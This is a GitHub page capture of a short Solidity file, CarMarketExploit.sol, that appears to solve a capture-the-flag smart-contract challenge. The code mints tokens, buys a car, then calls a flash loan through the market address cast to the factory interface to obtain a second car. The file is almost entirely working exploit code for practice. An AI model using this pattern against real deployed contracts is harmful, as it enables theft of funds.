-
Notifications
You must be signed in to change notification settings - Fork 74
/
Copy pathCarMarketExploit.sol
34 lines (26 loc) · 953 Bytes
/
CarMarketExploit.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./CarToken.sol";
import "./CarMarket.sol";
import "./CarFactory.sol";
function playerScript(address marketAddress) returns (address exploitAddress) {
CarMarketExploit exploit = new CarMarketExploit();
exploit.exploit(marketAddress);
return address(exploit);
}
contract CarMarketExploit {
CarMarket market;
CarToken token;
CarFactory factory;
function exploit(address marketAddress) public {
market = CarMarket(marketAddress);
token = CarToken(address(market.getCarToken()));
factory = CarFactory(market.getCarFactory());
token.mint();
token.approve(address(market), type(uint256).max);
market.purchaseCar("", "", "");
CarFactory(address(market)).flashLoan(token.balanceOf(address(factory)));
market.purchaseCar("", "", "");
}
function receivedCarToken(address) public {}
}